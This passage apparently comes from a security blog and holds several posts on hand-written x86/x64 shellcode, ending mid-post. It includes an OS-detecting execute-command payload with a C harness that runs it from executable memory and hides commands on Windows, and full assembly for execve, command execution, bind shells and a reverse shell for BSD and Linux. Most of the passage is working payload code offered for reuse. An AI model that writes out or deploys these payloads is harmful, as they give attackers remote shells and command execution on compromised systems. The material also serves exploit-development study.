Shellcode: Execute command for x32/x64 Linux / Windows / BSD

Introduction

I was hoping to present here a code that would execute perfectly on 32/64-bit Linux/BSD and Windows systems derived from code discussed here

The 64-bit code will execute on all 3 systems but not 32-bit versions of BSD because the system call convention and numbers are different to 32-bit versions of Linux which could be updated but how many systems still run 32-bit? Less than 10%?

Detection

wos attempts to identify an OS running on x86 using some simple checks of segment registers, stack pointer, errors returned by system calls. It hasn’t been tested extensively but feel free to try out on some x86 based system and tell me what results you get.

It works from Windows NT up to Windows 10, Linux, FreeBSD, OpenBSD, OSX and Solaris x86.

The following isn’t entirely optimized although the windows code is derived from code by Peter Ferrie here.

Just to note, any command executed on Windows systems will be hidden.

;  Execute a command
;  Works on 32/64-bit versions of Windows and Linux
;
;  yasm -fbin exec.asm -oexec.bin
;  nasm -fbin exec.asm -oexec.bin
;
;  194 bytes
;
    bits    32
    
    push    esi
    push    edi
    push    ebx
    push    ebp
    
    xor     ecx, ecx          ; ecx=0
    mul     ecx               ; eax=0, edx=0
    
    push    eax
    push    eax
    push    eax
    push    eax
    push    eax               ; setup homespace for win64
    jmp     l_sb              ; load command
    
get_os:
    pop     edi               ; edi=cmd, argv
    mov     cl, 7
    ; initialize cmd/argv regardless of OS
    push    eax               ; argv[3]=NULL;
    push    edi               ; argv[2]=cmd
    repnz   scasb             ; skip command line
    stosb                     ; zero terminate
    push    edi               ; argv[1]="-c", 0
    scasw                     ; skip option
    stosb                     ; zero terminate
    push    edi               ; argv[0]="/bin//sh", 0
    push    esp               ; save argv
    push    edi               ; save pointer to "/bin//sh", 0
    
    mov     al, 6             ; eax=sys_close for Linux/BSD
    inc     ecx               ; ignored on x64
    jecxz   gos_x64           ; if ecx==0 we're 64-bit
    
    ; we're 32-bit
    ; if gs is zero, we're native 32-bit windows
    mov     cx, gs
    jecxz   win_cmd
    
    ; if eax is zero after right shift of SP, ASSUME we're on windows
    push    esp
    pop     eax
    shr     eax, 24
    jz      win_cmd
    
    ; we're 32-bit Linux
    mov     al, 11            ; eax=sys_execve
    pop     ebx               ; ebx="/bin//sh", 0
    pop     ecx               ; ecx=argv
    int     0x80
    
    ; we're 64-bit, execute syscall and see what
    ; error returned
gos_x64:
    push    -1
    pop     edi
    syscall
    cmp     al, 5             ; Access Violation indicates windows
    push    59
    pop     eax
    cdq
    jz      win_cmd
    
    pop     edi              ; rdi="/bin//sh", 0
    pop     esi              ; rsi=argv
    syscall
l_sb:
    jmp     ld_cmd
    ; following code is derived from Peter Ferrie's calc shellcode
    ; i've modified it to execute commands
win_cmd:
    pop     eax               ; eax="/bin//sh", 0
    pop     eax               ; eax=argv
    pop     eax               ; eax="/bin//sh", 0
    pop     eax               ; eax="-c", 0
    pop     ecx               ; ecx=cmd
    pop     eax               ; eax=0
    
    inc     eax
    xchg    edx, eax
    jz      x64

    push    eax               ; will hide
    push    ecx               ; cmd
    
    mov     esi, [fs:edx+2fh]
    mov     esi, [esi+0ch]
    mov     esi, [esi+0ch]
    lodsd
    mov     esi, [eax]
    mov     edi, [esi+18h]
    mov     dl, 50h
    jmp     lqe
    bits 64
x64:
    mov     dl, 60h
    mov     rsi, [gs:rdx]
    mov     rsi, [rsi+18h]
    mov     rsi, [rsi+10h]
    lodsq
    mov     rsi, [rax]
    mov     rdi, [rsi+30h]
lqe:
    add     edx, [rdi+3ch]
    mov     ebx, [rdi+rdx+28h]
    mov     esi, [rdi+rbx+20h]
    add     rsi, rdi
    mov     edx, [rdi+rbx+24h]
fwe:
    movzx   ebp, word [rdi+rdx]
    lea     rdx, [rdx+2]
    lodsd
    cmp     dword [rdi+rax], 'WinE'
    jne     fwe
    
    mov     esi, [rdi+rbx+1ch]
    add     rsi, rdi
    
    mov     esi, [rsi+rbp*4]
    add     rdi, rsi
    cdq
    call    rdi
cmd_end:
    bits    32
    pop     eax
    pop     eax
    pop     eax
    pop     eax
    pop     eax
    pop     ebp
    pop     ebx
    pop     edi
    pop     esi
    ret
ld_cmd:
    call   get_os
    ; place command here
    ;db     "notepad", 0xFF
    ; do not change anything below  
    ;db      "-c", 0xFF, "/bin//sh", 0

Test Unit

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#if defined (_WIN32) || defined(_WIN64)
#define WIN
#include <windows.h>
#else
#include <sys/mman.h>
#endif

#define CMD_LEN_OFS 0x10+1
#define EXEC_SIZE 194

char exec[]= {
  /* 0000 */ "\x56"                         /* push esi                        */
  /* 0001 */ "\x57"                         /* push edi                        */
  /* 0002 */ "\x53"                         /* push ebx                        */
  /* 0003 */ "\x55"                         /* push ebp                        */
  /* 0004 */ "\x31\xc9"                     /* xor ecx, ecx                    */
  /* 0006 */ "\xf7\xe1"                     /* mul ecx                         */
  /* 0008 */ "\x50"                         /* push eax                        */
  /* 0009 */ "\x50"                         /* push eax                        */
  /* 000A */ "\x50"                         /* push eax                        */
  /* 000B */ "\x50"                         /* push eax                        */
  /* 000C */ "\x50"                         /* push eax                        */
  /* 000D */ "\xeb\x37"                     /* jmp 0x46                        */
  /* 000F */ "\x5f"                         /* pop edi                         */
  /* 0010 */ "\xb1\x00"                     /* mov cl, 0x0                     */
  /* 0012 */ "\x50"                         /* push eax                        */
  /* 0013 */ "\x57"                         /* push edi                        */
  /* 0014 */ "\xf2\xae"                     /* repne scasb                     */
  /* 0016 */ "\xaa"                         /* stosb                           */
  /* 0017 */ "\x57"                         /* push edi                        */
  /* 0018 */ "\x66\xaf"                     /* scasw                           */
  /* 001A */ "\xaa"                         /* stosb                           */
  /* 001B */ "\x57"                         /* push edi                        */
  /* 001C */ "\x54"                         /* push esp                        */
  /* 001D */ "\x57"                         /* push edi                        */
  /* 001E */ "\xb0\x06"                     /* mov al, 0x6                     */
  /* 0020 */ "\x41"                         /* inc ecx                         */
  /* 0021 */ "\xe3\x12"                     /* jecxz 0x35                      */
  /* 0023 */ "\x66\x8c\xe9"                 /* mov cx, gs                      */
  /* 0026 */ "\xe3\x20"                     /* jecxz 0x48                      */
  /* 0028 */ "\x54"                         /* push esp                        */
  /* 0029 */ "\x58"                         /* pop eax                         */
  /* 002A */ "\xc1\xe8\x18"                 /* shr eax, 0x18                   */
  /* 002D */ "\x74\x19"                     /* jz 0x48                         */
  /* 002F */ "\xb0\x0b"                     /* mov al, 0xb                     */
  /* 0031 */ "\x5b"                         /* pop ebx                         */
  /* 0032 */ "\x59"                         /* pop ecx                         */
  /* 0033 */ "\xcd\x80"                     /* int 0x80                        */
  /* 0035 */ "\x6a\xff"                     /* push 0xffffffff                 */
  /* 0037 */ "\x5f"                         /* pop edi                         */
  /* 0038 */ "\x0f\x05"                     /* syscall                         */
  /* 003A */ "\x3c\x05"                     /* cmp al, 0x5                     */
  /* 003C */ "\x6a\x3b"                     /* push 0x3b                       */
  /* 003E */ "\x58"                         /* pop eax                         */
  /* 003F */ "\x99"                         /* cdq                             */
  /* 0040 */ "\x74\x06"                     /* jz 0x48                         */
  /* 0042 */ "\x5f"                         /* pop edi                         */
  /* 0043 */ "\x5e"                         /* pop esi                         */
  /* 0044 */ "\x0f\x05"                     /* syscall                         */
  /* 0046 */ "\xeb\x75"                     /* jmp 0xbd                        */
  /* 0048 */ "\x58"                         /* pop eax                         */
  /* 0049 */ "\x58"                         /* pop eax                         */
  /* 004A */ "\x58"                         /* pop eax                         */
  /* 004B */ "\x58"                         /* pop eax                         */
  /* 004C */ "\x59"                         /* pop ecx                         */
  /* 004D */ "\x58"                         /* pop eax                         */
  /* 004E */ "\x40"                         /* inc eax                         */
  /* 004F */ "\x92"                         /* xchg edx, eax                   */
  /* 0050 */ "\x74\x16"                     /* jz 0x68                         */
  /* 0052 */ "\x50"                         /* push eax                        */
  /* 0053 */ "\x51"                         /* push ecx                        */
  /* 0054 */ "\x64\x8b\x72\x2f"             /* mov esi, [fs:edx+0x2f]          */
  /* 0058 */ "\x8b\x76\x0c"                 /* mov esi, [esi+0xc]              */
  /* 005B */ "\x8b\x76\x0c"                 /* mov esi, [esi+0xc]              */
  /* 005E */ "\xad"                         /* lodsd                           */
  /* 005F */ "\x8b\x30"                     /* mov esi, [eax]                  */
  /* 0061 */ "\x8b\x7e\x18"                 /* mov edi, [esi+0x18]             */
  /* 0064 */ "\xb2\x50"                     /* mov dl, 0x50                    */
  /* 0066 */ "\xeb\x17"                     /* jmp 0x7f                        */
  /* 0068 */ "\xb2\x60"                     /* mov dl, 0x60                    */
  /* 006A */ "\x65\x48"                     /* dec eax                         */
  /* 006C */ "\x8b\x32"                     /* mov esi, [edx]                  */
  /* 006E */ "\x48"                         /* dec eax                         */
  /* 006F */ "\x8b\x76\x18"                 /* mov esi, [esi+0x18]             */
  /* 0072 */ "\x48"                         /* dec eax                         */
  /* 0073 */ "\x8b\x76\x10"                 /* mov esi, [esi+0x10]             */
  /* 0076 */ "\x48"                         /* dec eax                         */
  /* 0077 */ "\xad"                         /* lodsd                           */
  /* 0078 */ "\x48"                         /* dec eax                         */
  /* 0079 */ "\x8b\x30"                     /* mov esi, [eax]                  */
  /* 007B */ "\x48"                         /* dec eax                         */
  /* 007C */ "\x8b\x7e\x30"                 /* mov edi, [esi+0x30]             */
  /* 007F */ "\x03\x57\x3c"                 /* add edx, [edi+0x3c]             */
  /* 0082 */ "\x8b\x5c\x17\x28"             /* mov ebx, [edi+edx+0x28]         */
  /* 0086 */ "\x8b\x74\x1f\x20"             /* mov esi, [edi+ebx+0x20]         */
  /* 008A */ "\x48"                         /* dec eax                         */
  /* 008B */ "\x01\xfe"                     /* add esi, edi                    */
  /* 008D */ "\x8b\x54\x1f\x24"             /* mov edx, [edi+ebx+0x24]         */
  /* 0091 */ "\x0f\xb7\x2c\x17"             /* movzx ebp, word [edi+edx]       */
  /* 0095 */ "\x48"                         /* dec eax                         */
  /* 0096 */ "\x8d\x52\x02"                 /* lea edx, [edx+0x2]              */
  /* 0099 */ "\xad"                         /* lodsd                           */
  /* 009A */ "\x81\x3c\x07\x57\x69\x6e\x45" /* cmp dword [edi+eax], 0x456e6957 */
  /* 00A1 */ "\x75\xee"                     /* jnz 0x91                        */
  /* 00A3 */ "\x8b\x74\x1f\x1c"             /* mov esi, [edi+ebx+0x1c]         */
  /* 00A7 */ "\x48"                         /* dec eax                         */
  /* 00A8 */ "\x01\xfe"                     /* add esi, edi                    */
  /* 00AA */ "\x8b\x34\xae"                 /* mov esi, [esi+ebp*4]            */
  /* 00AD */ "\x48"                         /* dec eax                         */
  /* 00AE */ "\x01\xf7"                     /* add edi, esi                    */
  /* 00B0 */ "\x99"                         /* cdq                             */
  /* 00B1 */ "\xff\xd7"                     /* call edi                        */
  /* 00B3 */ "\x58"                         /* pop eax                         */
  /* 00B4 */ "\x58"                         /* pop eax                         */
  /* 00B5 */ "\x58"                         /* pop eax                         */
  /* 00B6 */ "\x58"                         /* pop eax                         */
  /* 00B7 */ "\x58"                         /* pop eax                         */
  /* 00B8 */ "\x5d"                         /* pop ebp                         */
  /* 00B9 */ "\x5b"                         /* pop ebx                         */
  /* 00BA */ "\x5f"                         /* pop edi                         */
  /* 00BB */ "\x5e"                         /* pop esi                         */
  /* 00BC */ "\xc3"                         /* ret                             */
  /* 00BD */ "\xe8\x4d\xff\xff\xff"         /* call 0xf                        */
};

// save code to binary file
void bin2file (uint8_t bin[], size_t len)
{
  FILE *out=fopen ("sh_cmd.bin", "wb");
  if (out!=NULL)
  {
    fwrite (bin, 1, len, out);
    fclose (out);
  }
}
// allocate read/write and executable memory
// copy data from code and execute
void xcode(void *code, size_t code_len, char *cmd, size_t cmd_len)
{
  void *bin;
  int  i;
  uint8_t *p;
  char args[]="\xFF-c\xFF/bin//sh\x00";
  size_t total_len, arg_len;
  
  arg_len=strlen(args) + 1;
  
  printf ("[ executing code...\n");
    
#ifdef WIN
  bin=VirtualAlloc (0, code_len + cmd_len + arg_len, 
    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
#else
  bin=mmap (0, code_len + cmd_len + arg_len, 
    PROT_EXEC | PROT_WRITE | PROT_READ, 
    MAP_ANON  | MAP_PRIVATE, -1, 0);
#endif
  if (bin!=NULL)
  {
    p=(uint8_t*)bin;
    
    memcpy (p, code, code_len);
    // set the cmd length
    p[CMD_LEN_OFS] = (uint8_t)cmd_len;
    // copy cmd
    memcpy ((void*)&p[code_len], cmd, cmd_len);
    // copy argv
    memcpy ((void*)&p[code_len+cmd_len], args, arg_len);
    
    //DebugBreak();
    bin2file(bin, code_len+cmd_len+arg_len);
    
    // execute
    ((void(*)())bin)();
    
#ifdef WIN
    VirtualFree (bin, code_len, MEM_RELEASE);
#else
    munmap (bin, code_len);
#endif
  }
}

int main(int argc, char *argv[])
{
    size_t len;
    char   *cmd;
    
    if (argc != 2) {
      printf ("\n  usage: xcmd <command>\n");
      return 0;
    }
    
    cmd=argv[1];
    len=strlen(cmd);
    
    if (len==0 || len>255) {
      printf ("\n  invalid command length: %i (must be between 1 and 255)", len);
      return 0;
    }
    
    xcode(exec, EXEC_SIZE, cmd, len);
    
    return 0;
}

See repository here for code and any future updates.

Posted in assembly, bsd, linux, shellcode, windows | Tagged , , , , , | 1 Comment

Shellcode: Detection between Windows/Linux/BSD on x86 architecture

Introduction

While writing simple Linux/BSD shellcodes, I had a quick look through a FreeBSD/Linux bind shell written in 2002 by a talented coder who went by the pseudonym Z0MBiE. Some of you will know he wrote a lot of cool stuff back in the day.

Since most of the syscall numbers differ on Linux/BSD, he devised a clever way of detecting between the 2 using sys_close system call with an invalid handle. They both use the same call number (6) but return different error codes.

B3mB4m left a comment referencing a post from 2013 which also attempts to address the problem of detecting between Linux and Windows.

What I show here is really just the result of some hours work and not extensive research into how many ways it can be done because there are probably a number of ways to do it. The codes are for demonstration only, they’re unoptimized and unlikely to be updated anytime soon but feel free to leave comments on alternative methods.🙂

Detection of CPU Mode

The steps are similar to what was discussed by some already but I check stack pointer to make distinction between 32-bit versions of windows and linux when the GS register is non-negative.

  1. Is our application executing 32-bit or 64-bit code? (determined by REX prefix)
  2. Are we running under 64-bit versions of Windows, Linux, BSD? (determined by sys_close and syscall, GS and SP registers tested for 32-bit windows)
  3. Are we Linux or BSD? (determined by sys_close and int 0x80)

To jump to 32-bit code, you could use

;
    xor    eax, eax
    dec    eax
    js     x32

To jump to 64-bit code, you could use

;
    xor    eax, eax
    inc    eax
    jz     x64

Windows native or emulated?

For a 32-bit native application, GS should always be zero so here’s a function that returns TRUE for native else FALSE

is_32bit:
    xor    eax, eax
    mov    ax, gs
    cmp    eax, 1
    sbb    eax, eax
    neg    eax
    ret

I’m unaware of a reliable method to test for 32-bit native code on Linux or BSD systems. Perhaps there’s a way to perform checks on segment registers but I’ve no idea how reliable that would be.

Windows, Linux or BSD?

Initially, I had some rough ideas; manipulation of EFLAGS/RFLAGS, FPU instructions, value of segment registers, the contents of them.

The manipulation of FLAGS didn’t result in anything and neither did investigation of FPU control word (although MSVC and GNU C do set it differently by default)

Windows Segments

Unfortunately my current computer would not be capable of running Win8,2012 or Win10 so only Win7 was tested.

Windows 7 x86 PE32
cs=0x1B ds=0x23 es=0x23 fs=0x3B gs=0x00 ss=0x23 sp=0025F928
  
Windows 7 x64 PE32
cs=0x23 ds=0x2B es=0x2B fs=0x53 gs=0x2B ss=0x2B sp=0033F9C0

Windows 7 x64 PE64
cs=0x33 ds=0x2B es=0x2B fs=0x53 gs=0x2B ss=0x2B sp=000000000020FB48

As you can see, the stack pointer for both modes are well below a signed 32/64-bit value.
Now look at BSD/Linux values.

OpenBSD

Only native ELF files were tested.

OpenBSD x86 ELF32
cs=0x2B ds=0x33 es=0x33 fs=0x5B gs=0x63 ss=0x33 sp=0xcf7c502c

OpenBSD x64 ELF64
cs=0x2B ds=0x23 es=0x23 fs=0x23 gs=0x23 ss=0x23 sp=0x7f7fffff7fe8

Compared with Windows, the stack pointer as 32-bit value is signed, but not always.

FreeBSD

FreeBSD x64 ELF32
cs=0x33 ds=0x3B es=0x3B fs=0x13 gs=0x1B ss=0x3B sp=0xffffda1c

FreeBSD x64 ELF64
cs=0x43 ds=0x3B es=0x3B fs=0x13 gs=0x1B ss=0x3B sp=0x7fffffffe8b8

Again, we can see that the 32-bit stack pointer is signed but this is not a sure thing.

Linux

Debian x86 ELF32
cs=0x73 ds=0x7B es=0x7B fs=0x00 gs=0x33 ss=0x7B sp=0xbfe7b97c

Debian x64 ELF32
cs=0x23 ds=0x2B es=0x2B fs=0x00 fs=0x63 ss=0x2B sp=0xffa66dbc
  
Debian x64 ELF64
cs=0x33 ds=0x00 es=0x00 fs=0x00 gs=0x00 ss=0x2B sp=0x7ffc88e3e048

*NIX or Windows?

Based on the results above, I initially thought testing the stack pointer for signedness would make the distinction between Windows or Linux/BSD and here’s code just to illustrate the idea.

; *************************
; int is_nix(void);
;
; 0=Windows x86/x64
; 1=BSD x86/x64 or Linux x86/x64
;
; *************************
    bits   32
is_nix:
    push   esp              ; save esp/rsp
    pop    eax              ; pop in eax/rax
    cdq                     ; edx=(eax < 0) ? -1 : 0
    neg    edx              ; 0=windows, 1=bsd or linux
    xchg   eax, edx
    ret

This is okay except the 32-bits of SP on Linux/BSD isn’t always signed so it might make a nice random decision function if nothing else.

; *************************
; int is_nix(void);
;
; 0=Windows x86/x64
; 1=BSD x86/x64 or Linux x86/x64
;
; *************************
    bits   32
is_nix:
    push   esp
    pop    eax
    shr    eax, 24
    setnz  al
    ret

This is a bit more reliable than the first version since by default, the stack pointer should be less than 1MB. It can obviously be specified using /STACK parameter of MSVC linker but this is what I thought works reasonably well to detect between 32-bit versions of windows and Linux/BSD.

What was easier (at least on Windows 7 64-bit) was detection of 64-bit OS when using syscall.
Using the original method documented by Z0MBiE/29a for detecting FreeBSD/Linux, I was surprised that the 64-bit version will also work with Windows 7 and is maybe a potential solution for more recent versions of windows.

On 64-bit Windows 7, error returned is 0xC0000005 or Access Violation Error
On 64-bit Linux, error returned is 0xFFFFFFF2 or -14
On 64-bit BSD, error returned is 9

%define WIN64_NATIVE 0
%define LIN64_NATIVE 1
%define BSD64_NATIVE 2

%define WIN32_NATIVE 3
%define WIN32_EMULAT 4
%define LIN32_EMUNAT 5
%define BSD32_EMUNAT 6

    bits   32
get_os:
_get_os:
    ; first, determine if we're in 32 or 64-bit mode
    push   6                ; sys_close on linux/bsd
    pop    eax              ; rax/eax=sys_close
    cdq                     ; rdx/edx=0
    dec    edx              ; ignored if 64-bit mode
    js     x32
    ; see what 64-bit OS we're on
    push   edx              ; save rdx/edx
    pop    edi              ; restore to rdi/edi
    syscall                 ; 
    xor    edx, edx         ; edx=WIN64_NATIVE
    ; win64 native?
    cmp    eax, 0xC0000005  ; Access Violation?
    jz     ex_ga
    inc    dl               ; edx=LIN64_NATIVE
    test   eax, eax         
    jl     ex_ga           
    mov    dl, BSD64_NATIVE
ex_ga:
    xchg   eax, edx
    ret
x32:
    inc    edx
    mov    dl, WIN32_NATIVE
    ; if gs is zero, we're win32 native
    xor    ecx, ecx
    mov    cx, gs
    jecxz  ex_ga
    
    ; if fs isn't zero, we might be BSD or Linux 
    ; check SP instead
    ; just because eax would result in zero, doesn't
    ; necessarily mean we are on windows...
    push   esp
    pop    eax
    mov    dl, WIN32_EMULAT
    shr    eax, 24
    jz     ex_ga
    
    ; we could say fs being zero is linux
    ; but better to check with sys_close
    ;mov    cx, fs
    ;test   ecx, ecx
    ;jnz    ex_ga
    
    ; are we linux or bsd?
    ; no reliable way to determine if emulated
    ; or not since openbsd uses same value for
    ; some segments
    push   -1
    int    0x80
    push   LIN32_EMUNAT
    pop    edx
    test   eax, eax
    pop    eax
    jl     ex_ga
    mov    dl, BSD32_EMUNAT
    jmp    ex_ga

Summary

There would have to be smarter ways of detecting operating systems running on the x86 architecture using assembly but would obviously result in more code. I’ve just presented a few bits of code that might be of interest to some.🙂

Posted in assembly, bsd, freebsd, linux, programming, security, shellcode, windows | Tagged , , , , , , , | 4 Comments

x64 Shellcodes for FreeBSD / OpenBSD

Introduction

These are mostly the same as codes for x64 Linux with the main difference being system call numbers. I’ve also noticed that BSD tends to be less forgiving with parameters (at least for some functions). Initially, I couldn’t get execve() to work with NULL argv and NULL envp which works fine on Linux.

Well, it turns out the BSD kernel doesn’t like NULL argv and simply returns EFAULT (Bad Address) so you need to supply it. Apart from this, they’re almost identical and you probably could detect the difference between BSD and Linux kernels before executing the appropriate code.

Detection between Linux and BSD

Since you might be wondering how to do that..

One thing we know is that system calls on BSD trash specific registers whereas Linux saves them. That’s one way of checking..

But perhaps a more reliable method I found was used by Z0MBiE/29a in shellcode of his from 2002. He attempts to close an invalid handle/descriptor and depending on the error executes BSD or Linux code and this is probably the best approach.

; detect if linux/freebsd
  pusha
  push    byte 6          ; FN: linux/freebsd: EAX=6=close()
  pop     eax
  xor     ebx, ebx
  dec     ebx
  push    ebx             ; PARAM: EBX=handle=-1
  push    esp
  int     80h             ; PARAMS: handle

  pop     ecx
  pop     ecx
  or      eax, eax        ; linux: EAX=-9  freebsd: EAX=9=EBADF
  popa
  jl      short __linux   ; jl == jmp if linux😉

sys_close() with invalid handle/descriptor returns number greater than zero on BSD but on Linux returns number less than zero.

So the above example works on x86 (in 2002) and the following will work for x64.

; detection of bsd/linux
    push    -1               ; invalid file descriptor
    pop     rdi
    push    6                ; sys_close
    pop     rax
    syscall
    test    eax, eax         ; BSD returns rax>0
    jl      linux            ; Linux returns rax<0
    ; execute bsd code here

I’m not demonstrating the mixture of Linux and BSD shellcode here today but that might be useful for somebody else to know. What follows are the x64 shellcodes for openbsd/freebsd.

Execute /bin/sh

Because sys_execve call is 59 on all 3 systems, this works with BSD and Linux.

; 24 byte execve("/bin//sh", {"/bin//sh", NULL}, 0);
; x64 versions of freebsd + openbsd + linux
; odzhan

    bits 64

start64:
    push    59
    pop     rax              ; rax=sys_execve
    cdq                      ; rdx=envp=0
    mov     rbx, 0x68732f2f6e69622f ; "/bin//sh"
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; rdi="/bin//sh", 0
    ; ---------
    push    rdx              ; argv[1]=NULL
    push    rdi              ; argv[0]="/bin//sh", 0
    push    rsp
    pop     rsi              ; rsi=argv
    ; ---------
    syscall

Execute a command

; 39 byte execve("/bin//sh", {"/bin//sh", "-c", cmd, NULL}, 0);
; x64 versions of freebsd + openbsd + linux
; odzhan

    bits    64
start64:
    push    59
    pop     rax              ; rax=sys_execve
    cdq                      ; rdx=penv=0
    mov     rbx, 0x68732f2f6e69622f
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; rdi="/bin//sh", 0
    ; ---------
    push    rdx              ; 0
    push    word 0x632d      ; "-c"
    push    rsp
    pop     rbx              ; rbx="-c", 0
    push    rdx              ; argv[3]=NULL
    jmp     l_cmd64
r_cmd64:                     ; argv[2]=cmd
    push    rbx              ; argv[1]="-c"
    push    rdi              ; argv[0]="/bin//sh"
    push    rsp
    pop     rsi              ; rsi=argv
    syscall
l_cmd64:
    call    r_cmd64
    ; put your command here followed by null terminator

Bind Shell

; 74 byte bind shell
; x64 versions of freebsd + openbsd
; odzhan

    bits 64
    
start64:
    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    97
    pop     rax              ; rax=sys_socket
    cdq                      ; rdx=IPPROTO_IP
    push    1
    pop     rsi              ; rsi=SOCK_STREAM
    push    2
    pop     rdi              ; rdi=AF_INET        
    syscall
    
    xchg    eax, edi         ; edi=sockfd
    
    ; step 2, bind to port 1234 
    ; bind(sockfd, {AF_INET,1234,INADDR_ANY}, 16)
    mov     ebx, ~0xd2040200 & 0xFFFFFFFF
    not     ebx
    push    rbx
    push    rsp
    pop     rsi
    mov     dl, 16
    mov     al, 104
    syscall
    
    ; step 3, listen
    ; listen(sockfd, 0);
    push    rax
    pop     rsi
    mov     al, 106
    syscall
    
    ; step 4, accept connections
    ; accept(sockfd, 0, 0);
    mov     al, 30
    cdq
    syscall
    
    xchg    eax, edi         ; edi=sockfd
    push    2
    pop     rsi
    
    ; step 5, assign socket handle to stdin,stdout,stderr
    ; dup2(sockfd, fileno);
dup_loop64:
    mov     al, 90           ; rax=sys_dup2
    syscall
    dec     esi
    jns     dup_loop64       ; jump if not signed   
    
    ; step 6, execute /bin/sh
    ; execve("/bin//sh", {"/bin//sh", NULL}, 0);
    cdq                      ; rdx=0
    mov     rbx, 0x68732f2f6e69622f ; "/bin//sh"
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; "/bin//sh", 0
    ; ---------
    push    rdx              ; argv[1]=NULL
    push    rdi              ; argv[0]="/bin//sh", 0
    push    rsp
    pop     rsi              ; rsi=argv
    ; ---------
    mov     al, 59           ; rax=sys_execve
    syscall

Reverse Shell

; 67 byte reverse shell for freebsd/x64
; odzhan

    bits 64
    
start64:
    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    97
    pop     rax              ; rax=sys_socket
    cdq                      ; rdx=IPPROTO_IP
    push    1
    pop     rsi              ; rsi=SOCK_STREAM
    push    2
    pop     rdi              ; rdi=AF_INET  
    syscall
    
    xchg    eax, edi         ; edi=sockfd
    xchg    eax, esi         ; esi=2
    
    ; step 2, assign socket handle to stdin,stdout,stderr
    ; dup2(sockfd, fileno);
dup_loop64:
    mov     al, 90           ; rax=sys_dup2
    syscall
    dec     esi
    jns     dup_loop64       ; jump if not signed
    
    ; step 3, connect to remote host
    ; connect (sockfd, {AF_INET,1234,127.0.0.1}, 16);
    mov     rcx, ~0x100007fd2040200
    not     rcx
    push    rcx
    push    rsp
    pop     rsi
    mov     dl, 16           ; rdx=sizeof(sa)
    mov     al, 98           ; rax=sys_connect
    syscall    
    
    ; step 4, execute /bin/sh
    ; execve("/bin//sh", {"/bin//sh", NULL}, 0);
    cdq                      ; rdx=0
    mov     rbx, 0x68732f2f6e69622f ; "/bin//sh"
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; "/bin//sh", 0
    ; ---------
    push    rdx              ; argv[1]=NULL
    push    rdi              ; argv[0]="/bin//sh", 0
    push    rsp
    pop     rsi              ; rsi=argv
    ; ---------
    mov     al, 59           ; rax=sys_execve
    syscall

Sources

Check out bsd folder. The only code there compatible with linux would be sh64.asm

Q & A

Why not save bytes by MOV’ing immediate values into RSI, RDI etc. for SYSCALL rather than PUSH’ing them on the stack and POP’ing them into registers for SYSCALL?

The goal of writing codes like this is to 1) Minimize size and 2) Avoid using null bytes where ever possible.

If the immediate value is short form (between -128 and +128) the PUSH opcode is only 2 bytes. The POP is 1.

The same is true for direct/conditional jumps and calls or addressing variables on stack.

So when RDI needs set to AF_INET(2) and RSI set to SOCK_STREAM(1) for the sys_socket call, here are some ways you could do it using MOV.

Using lower 8 bit registers which doesn’t zero out the upper 56-bits. (6 bytes)

/* 0000 */ "x40xb7x02" /* mov dil, 0x2 */
/* 0003 */ "x40xb6x01" /* mov sil, 0x1 */

Using 32-bit registers which does clear upper 32-bit bits but takes 10 bytes and contains nulls.

/* 0000 */ "xbfx02x00x00x00" /* mov edi, 0x2 */
/* 0005 */ "xbex01x00x00x00" /* mov esi, 0x1 */

Using 64-bit registers which is 14 bytes and contains nulls.

/* 0000 */ "x48xc7xc7x02x00x00x00" /* mov rdi, 0x2 */
/* 0007 */ "x48xc7xc6x01x00x00x00" /* mov rsi, 0x1 */

Using the PUSH/POP method because we know immediate values are short form.
This also zeros out upper 56-bits and doesn’t contain null bytes and only 6 bytes.

/* 0000 */ "x6ax02" /* push 0x2 */
/* 0002 */ "x5f"     /* pop rdi  */
/* 0003 */ "x6ax01" /* push 0x1 */
/* 0005 */ "x5e"     /* pop rsi  */

It is also acceptable 32-bit code (should it be needed)

/* 0000 */ "x6ax02" /* push 0x2 */
/* 0002 */ "x5f"     /* pop edi  */
/* 0003 */ "x6ax01" /* push 0x1 */
/* 0005 */ "x5e"     /* pop esi  */

There are obviously other ways to do this but they all result in being larger than a PUSH/POP combination.

Posted in assembly, bsd, freebsd, openbsd, shellcode | Tagged , , , , , | 2 Comments

x64 Shellcodes for Linux

Introduction

Just a quick blog about some simple shellcodes for x64 build of Linux you might find useful as a reference if nothing else.😉

Assemble as binary files with NASM/YASM and edit before execution.

For example: yasm -fbin rs.asm -ors.bin or nasm -fbin rs.asm -ors.bin

The reverse/bind shells both use port 1234 and reverse shell connects to 127.0.0.1 by default. The sockaddr_in structure is inverted using NOT instruction. If you have any questions, leave a comment.

I’ll add more as I go along.

64-bit ABI

To make a system call in 64-bit Linux, place the system call number in rax, then its arguments, in order, in rdi, rsi, rdx, r10, r8, and r9, then invoke syscall.

Execute /bin/sh

; 22 byte execve("/bin//sh", 0, 0) for linux/x64
; odzhan

    bits 64
    
start64:
    xor     esi, esi
    mul     esi
    mov     rcx, 0x68732f2f6e69622f
    push    rdx
    push    rcx
    push    rsp
    pop     rdi
    mov     al, 59
    syscall

Execute command

; 39 byte execute command for linux/x64
; odzhan

    bits    64
start64:
    push    59
    pop     rax              ; rax=sys_execve
    cdq                      ; penv=0
    mov     rcx, 0x68732f2f6e69622f
    push    rdx              ; 0
    push    rcx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; rdi="/bin//sh", 0
    ; ---------
    push    rdx              ; 0
    push    word 0x632d      ; -c
    push    rsp
    pop     rbx              ; rbx="-c", 0
    push    rdx              ; NULL
    jmp     l_cmd64
r_cmd64:                     ; command
    push    rbx              ; "-c"
    push    rdi              ; "/bin//sh"
    push    rsp
    pop     rsi              ; rsi=args
    syscall
l_cmd64:
    call    r_cmd64
    ; put your command here followed by null terminator

Bind shell

; 69 byte bind shell for linux/x64
; odzhan

    bits 64
    
start64:
    ; step 1, create a socket
